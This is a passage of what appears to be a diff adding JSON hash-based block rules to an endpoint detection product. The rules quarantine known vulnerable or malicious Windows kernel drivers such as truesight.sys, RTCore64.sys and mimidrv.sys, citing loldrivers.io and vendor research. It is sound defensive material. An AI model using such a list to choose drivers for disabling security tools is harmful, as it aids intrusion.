+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "55983824-3dd7-58af-9712-8eeb85f43478",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829790Z",
+  "creation_date": "2026-03-23T11:45:30.829792Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829798Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4f8c66b3d2ca6209e2195c8f87b6f5be13ec83e216bdbbda8c8dabe57de9e85",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "559f4539-0fec-57ad-b8ed-6089f78d7e7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484616Z",
+  "creation_date": "2026-03-23T11:45:31.484623Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484635Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dcf4959a9c7da3ea2bee30db220fa32e2ba7dd15148aeea915ed7d0a190dd27d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "55a99ee6-30fd-5760-81e2-3890d0471643",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479368Z",
+  "creation_date": "2026-03-23T11:45:30.479370Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479375Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d30c6c4fa0216d0637b4049142bc275814fd674859373bd4af520ce173a1c75",
+  "comment": "Vulnerable Kernel Driver (aka segwindrvx64.sys) [https://www.loldrivers.io/drivers/a4aa80bc-4ecd-49ab-bc0f-0f49b07fdd7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "55be148e-7e16-5877-85cd-5ac63aab047e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498173Z",
+  "creation_date": "2026-03-23T11:45:31.498176Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498184Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b116e94f25a40b4b11297df6d41f282b58ea0bd802eeee167df246105b523d69",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "55c375cd-4c5a-5ad5-b059-1a1c06bb50e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822635Z",
+  "creation_date": "2026-03-23T11:45:31.822638Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822643Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce7560d16469ada1f2a95e0f1499b9f50dead6fa42048511fc921e6e22514b7f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "55cd6dda-cef3-59a8-94ec-1dcc8670f171",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461012Z",
+  "creation_date": "2026-03-23T11:45:30.461016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461025Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9a3dc47699949c8ec0c704346fb2ee86ff9010daa0dbac953cfa5f76b52fcd1",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "55d91bfc-5e66-5bd2-9f26-c79ef2157673",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478221Z",
+  "creation_date": "2026-03-23T11:45:30.478224Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478234Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a233680b53bcdfba264005644e51bfa4ba9923f0a3544ed4596e28fb9f3fd682",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "55f35b79-b9c8-5c22-af5c-bd0a4d8b9eba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610546Z",
+  "creation_date": "2026-03-23T11:45:29.610548Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80eeb8c2890f3535ed14f5881baf2f2226e6763be099d09fb8aadaba5b4474c1",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "55f7b8b5-e1ae-5374-b5b0-4c2e24790da8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469914Z",
+  "creation_date": "2026-03-23T11:45:30.469917Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469927Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6094d55d6c7b4fd45cd06658600cef49007bcb73d6a0ab62f6eeabaa19bfd333",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56086a2b-a746-568b-9cb7-b6a0ca71a39a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143325Z",
+  "creation_date": "2026-03-23T11:45:31.143327Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143332Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cc7ffe53ce3aacf3cd8b22428dfdf4eebc1ed108f9b99db01ca8fcee10357bbf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "560cd67c-5c1a-5df0-9734-4dce10ff6fe4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984390Z",
+  "creation_date": "2026-03-23T11:45:29.984392Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984397Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8ded5e10dfc997482ba4377c60e7902e6f755674be51b0e181ae465529fb2f2",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56156324-c52d-56ab-97d2-b20b8c56bc6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459049Z",
+  "creation_date": "2026-03-23T11:45:30.459052Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459061Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "edc6e32e3545f859e5b49ece1cabd13623122c1f03a2f7454a61034b3ff577ed",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56222889-7449-57ff-8c3f-84a06c6d5b4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487667Z",
+  "creation_date": "2026-03-23T11:45:31.487668Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487674Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19b104b64874cce9c1b72817b1d5c1d2835ab1d7e1edd7d48e2f7495dc276b3f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56397402-72ad-59b1-9e41-ddb2500fd02e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823141Z",
+  "creation_date": "2026-03-23T11:45:30.823143Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823148Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bfc2ef3b404294fe2fa05a8b71c7f786b58519175b7202a69fe30f45e607ff1c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller AntiMalware Driver (aka truesight.sys) [https://github.com/ph4nt0mbyt3/Darkside] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "563bd491-4695-50a1-ac7e-f8c8d38f7f74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980751Z",
+  "creation_date": "2026-03-23T11:45:29.980753Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980758Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b4af74d74a4380130a1c46d2f1ffe112d87d9d7646540bbbd201c5bd176082b",
+  "comment": "Vulnerable Kernel Driver (aka CtiIo64.sys) [https://www.loldrivers.io/drivers/de365e80-45cb-48fb-af6e-0a96a5ad7777/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56436029-5d9d-53d7-b9a7-21d497b6fc60",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815934Z",
+  "creation_date": "2026-03-23T11:45:30.815936Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815942Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ea2a3a6edb3c772f9d358a720f9106260ef22d339bd3c7895e7b5cda03e424d",
+  "comment": "Vulnerable Kernel Driver (aka FPCIE2COM.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56441626-5caa-52a6-8fbc-1a1b25e8742f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976714Z",
+  "creation_date": "2026-03-23T11:45:29.976717Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976726Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38dc036f6cd4917b816e6c362fab85012659225558d8a285ff53cae3ebbdff6c",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5657b5eb-897c-5b2d-8fa4-52c8ca33a55d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605682Z",
+  "creation_date": "2026-03-23T11:45:29.605684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605689Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08f80ad2c7614874b87fcf907a49c7f5a7e2816907283c19c6ff4f7b982da83f",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "565e8b69-dfbc-5d47-955f-78cdb4885619",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973654Z",
+  "creation_date": "2026-03-23T11:45:29.973656Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973661Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5027fce41ed60906a0e76b97c95c2a5a83d57a2d1cd42de232a21f26c0d58e48",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56637350-6aea-555e-8528-10845613db85",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604446Z",
+  "creation_date": "2026-03-23T11:45:29.604448Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a2d4815a03365d40b2b22981d4d8bee81bfbd983db1af30ce497fcdf77f83c9",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56824a2c-5a67-5eaf-bc35-4b270622f0a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980237Z",
+  "creation_date": "2026-03-23T11:45:29.980239Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980245Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "567809308cfb72d59b89364a6475f34a912d03889aa50866803ac3d0bf2c3270",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "568a2260-7822-559f-8712-91b6d9001238",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489126Z",
+  "creation_date": "2026-03-23T11:45:31.489128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489133Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af8965f99b720fae41fe2516dd6a670eefb81fb75817ae0a0d2b9299226ec22c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "56998a53-b33e-5878-a59c-efb8de52bad8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
